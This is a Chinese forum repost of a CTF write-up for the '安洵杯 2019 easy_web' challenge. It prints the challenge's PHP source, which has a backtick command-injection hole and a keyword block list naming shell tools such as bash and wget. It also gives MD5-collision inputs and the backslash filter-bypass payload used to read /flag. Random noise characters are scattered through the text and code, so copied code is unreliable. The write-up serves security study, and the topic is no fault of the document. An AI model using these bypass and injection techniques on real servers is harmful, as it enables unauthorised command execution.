飞雪团队

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 17465|回复: 0

[安洵杯 2019]easy_web

[复制链接]

9008

主题

9096

帖子

2万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
29354
发表于 2022-2-12 14:35:42 | 显示全部楼层 |阅读模式
: o0 E- o- e& c
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
+ T( R( O7 W2 q1 ^0 I<p>&nbsp;</p>
! \  e' _' `3 X. H, I, @: T  ?<p>&nbsp;</p>
/ W$ h! Z6 h% v  L<p>&nbsp;题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=,同时查看源代码</p>3 z5 V( r$ g0 j  ^- v
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
* e5 r1 d" H$ v8 t# M) q<p>&nbsp;</p>
# w% S9 f$ Z: F<p>&nbsp;</p>3 y6 V( }5 q! S# e7 B
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>. @: M1 ]) m; ^  I* _. z
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>7 B9 b) {$ y$ c
<p>首先把那个进行一次base64位解码</p>
# M# F4 G& ^% {" K2 a1 p) t1 P<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>- |, A& S: \; A) j. ~) J
<p>&nbsp;</p>& m$ j8 H' Z+ O5 ^2 L+ d
<p>&nbsp;</p>2 d/ M# {! l2 n7 X9 Z
<p>&nbsp;解码一次以后还是很像base64编码,于是又解码一次</p>0 x( l) [8 p4 X1 b  r, [: Q" j, A4 U
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>
; [2 t+ `' ^; S3 s<p>&nbsp;</p>
3 f- \% T: `! K7 q/ P" v<p>&nbsp;</p>% \$ x: m7 c+ F1 ?7 n1 ?
<p>&nbsp;然后用hex解码一下得到了</p>
3 L, {( {' A+ [7 G<div class="cnblogs_Highlighter">
) F. o8 s' J+ A" K4 T$ W8 u<pre class="brush:sql;gutter:true;">555.png+ s4 m! J- _1 Q0 e
</pre>
: {2 f/ Y) E0 h- P3 m</div>1 I/ {, k6 j- R4 o- K
<p>  用同样的方法把index.php进行加密</p>
2 X9 Y9 q; ?" c2 A& O<div class="cnblogs_Highlighter">2 q- k1 m/ c2 ^. L; d) {" d2 k; A
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
% L! ?; q6 V8 r& x/ M/ v</pre>  F1 u( A  z" W9 y+ \3 g& F
</div>
. L/ b6 N1 l( u8 f' _  c( G4 _<p>  然后输入到地址栏</p>
5 m  v  v" L4 x7 l7 P( I<p>&nbsp;然后查看源代码,把源代码里面的那一串base64的编码解码</p>- S5 ^* }; h0 Q1 D+ v
<div class="cnblogs_code">: ]; W5 a( N! a, _
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
) @( p& p2 d. C7 t9 ~3 f</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);+ o5 E0 \6 ?, r9 }. \  j3 @
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);4 w- E" L1 B, ?* U
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];1 [" q  |$ P* h2 s, V# b
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) & {! a0 P& i2 r9 m
    </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd='<span style="color: rgba(0, 0, 0, 1)">);
- ]% y) p" M* d- x</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));5 w  [2 Z1 P3 X* e7 u7 I

! W5 G. b; [7 a1 ?8 s" e. S</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
9 v+ q. o3 G: Y6 t. @3 K</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
+ R" s0 b: I! d    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;img src ="./ctf3.jpeg"&gt;'<span style="color: rgba(0, 0, 0, 1)">;; t3 m7 }8 h! h$ W( ]
    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);4 C8 V7 }$ t. ?# c
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
, S0 u+ Z' y- q  p% `0 Z$ B    </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
, c& X8 ]# F  p% S. V8 m7 r5 `# n    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'&gt;&lt;/img&gt;"<span style="color: rgba(0, 0, 0, 1)">;
) X1 U' J% ~# d2 j    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;! [1 q/ P. \' z% z( C+ c( q4 E
}
* s1 V% y9 ^$ }8 c: z9 L</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;: X" _" x" W, u! z# E  L
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
% f* a( [  G0 ~/ \  w8 ~</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|&lt;|&gt;/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {
. s# o6 {& k8 w1 g: ~) k    </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);- d1 t; h) q6 e" A7 M9 T6 a, n
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;) q- U7 V5 s1 Z# U( \; k* ^
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
, V% ]) t# G$ M    </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
0 o0 t6 T. t4 ^" u4 y9 I        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;  k0 q( ~+ A3 U, |$ W7 }
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {+ k4 K: F+ Q5 Q
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);, W" }' x9 ]9 n4 F8 q
    }
4 N$ T( F+ Z* c3 n8 ^8 V2 h" q3 C" u}6 d" d. Z' A+ v# Q( j" q) |& \
, W+ X) L5 o6 ^+ ?
</span>?&gt;9 J& `" Z1 ~) L' H
&lt;html&gt;
2 b$ b+ X8 v* l( j' v3 d0 \8 t&lt;style&gt;<span style="color: rgba(0, 0, 0, 1)">  F6 w& M) ?4 g2 ?4 x8 g
  body{  C5 @' ~1 a$ b. I: x& K
   background</span>:url(./bj.png)  no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
! x* w7 K0 s! a& n5 ~: M   background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;5 R3 ?; u1 }  ?: F$ @
   background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
4 o, _: I6 t9 s' h' [& R* O8 c0 V   background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
  q& W3 @; i# H1 p<span style="color: rgba(0, 0, 0, 1)">}% W* t8 ?1 n% j, g" h" d
</span>&lt;/style&gt;; m# G* y  m; u3 d
&lt;body&gt;
" N3 E; R% @" m0 y+ x&lt;/body&gt;
3 C! k: `) q) M' q&lt;/html&gt;</pre>
; c; L- P( C3 J2 r0 \</div>
" f% [; t! q, t2 U<p>结合前面的推断,关键代码就在</p>
$ \! r/ Z7 Q+ [' w<div class="cnblogs_code">
0 g. S) k' \9 n' N3 E) Y) g<pre>    <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
2 {3 ^: Q: h3 W9 }" Z- _        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
- ^$ E5 ]9 p  k8 _    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {; N% ?. u3 S0 S0 m9 ^
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
) V9 R: M' a( _& l1 ~& |- E! v6 R2 o; w0 S    }</span></pre>
% t; T7 @5 ]* R5 g</div>
2 |+ H: }  t0 f* p8 C<p>这种MD5是md5强碰撞</p>
4 u( I9 F9 L. p& g2 @/ C<div class="cnblogs_Highlighter">
" K5 K5 q  H' `5 o/ N! u<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a24 x- f4 J3 x# S, f) _$ k
</pre>" i) e( |0 a: X' q
</div>
# P+ t4 A" ?8 C- A9 Y) r) }: Q4 E) X/ N$ n<div class="cnblogs_Highlighter">
1 q. @7 h( Y$ i! G<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
+ N- J5 G8 ^9 i" k. N/ d/ M; \</pre>* e4 U; Q$ e) @# @9 q) j+ x
</div>6 A0 j: d8 b7 D/ _  Q3 B% K& o
<p>  只需要这样就可以把cmd里面的当成命令来处理。</p>
; }( K6 Q8 B! C$ C/ ]. M; L<p>于是采用payload:</p>
$ [$ i) K! ^. [( E# J$ ^: @( @+ S<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
  u$ |. d2 w( J$ w6 Z<p>&nbsp;</p>2 x; ]+ G& [5 T2 w' D
<p>&nbsp;因为'\'并没有被屏蔽所以可以这么绕过</p>* R# b( C2 f: {; W/ ^
<p>ls和l\s在命令执行的时候结果是一样的。</p>
/ u7 P$ I  X8 S. {* B  i<p>然后发现根目录里面有/flag</p>9 l1 e) w, C1 |! s) H9 ~
<p>于是payload:</p>
' s7 m0 @6 O$ e* {+ I<div class="cnblogs_Highlighter">
. L7 O% e- Q  n, c<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag: F7 U! R+ d# z5 u$ V1 Q& ~
</pre>
0 h! O  o7 K( E( u* o. q</div>, ^/ y5 S% y( }  U  I: w# ?: c
<p>  对于这个题目,因为他没有屏蔽sort和dir</p>/ b/ E% n7 D( [. Q' a+ ?7 X1 W
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
5 d( S4 s% y" `3 a+ b7 q<p>&nbsp;</p>4 T5 X/ i" N' u, S
回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|飞雪团队

GMT+8, 2026-7-22 21:40 , Processed in 0.063864 second(s), 22 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表